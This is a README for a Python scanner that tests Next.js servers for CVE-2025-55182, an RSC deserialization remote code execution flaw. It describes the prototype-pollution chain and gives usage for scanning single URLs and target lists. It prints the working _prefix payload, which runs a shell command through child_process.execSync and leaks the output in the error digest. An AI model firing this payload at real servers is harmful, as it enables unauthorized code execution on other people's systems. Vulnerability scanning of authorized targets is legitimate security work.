CVE‑2025‑55182 – Next.js RSC Deserialization RCE Scanner

This tool checks whether a target is vulnerable to CVE‑2025‑55182, a Remote Code Execution bug caused by unsafe handling of RSC (React Server Components) model payloads inside Next.js.
The vulnerability chains Prototype Pollution → Deserialization Abuse → Server‑Side JavaScript Execution.

Disclaimer: Only use this on systems you legally own or have explicit authorization for. Unauthorized testing = crime, bro.

---

🔥 How This Vulnerability Works

Next.js internally processes special “model” objects sent via multipart/form-data.
If an attacker injects a malicious structure like a forged thenable, they can poison:

• __proto__
• _response._prefix
• constructor.constructor
• and other internals

This leads to the server evaluating attacker‑controlled JavaScript, resulting in full RCE.

---

📌 What This Script Does

• Accepts a single URL (-u) or list of targets (-l)
• Sends a crafted multipart/deserialization payload
• Extracts command output (id) from server error digest
• Saves vulnerable hosts to foxvuln.txt

---

▶ Usage

Single URL

python3 main.py -u https://target.com

List Mode

python3 main.py -l list.txt

---

📦 Payload Overview

The payload abuses process.mainModule.require('child_process').execSync() via injected _prefix:

"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",

This forces the server to execute id and leak the result inside the thrown digest (because RSC errors purposely return a structured “digest” field).

---

🧪 Example Output

Vulnerable target:

[+] Testing: https://victim.com
[VULN] user : uid=1000(www-data)

Not vulnerable:

[+] Testing: https://secure.com
[NOT VULN]

---

🗂 Output File

All confirmed vulnerable URLs get saved to:

foxvuln.txt

Format:

https://victim.com => uid=1000(www-data)

---

🧠 Notes

• Works only on endpoints that process Next.js RSC streaming payloads
• Doesn’t brute-force routes — assumes the host processes the POST at /
• Timeout is set to 10s per host
• Fully safe for lab environments — but don’t run this on random servers unless you wanna speedrun a felony

---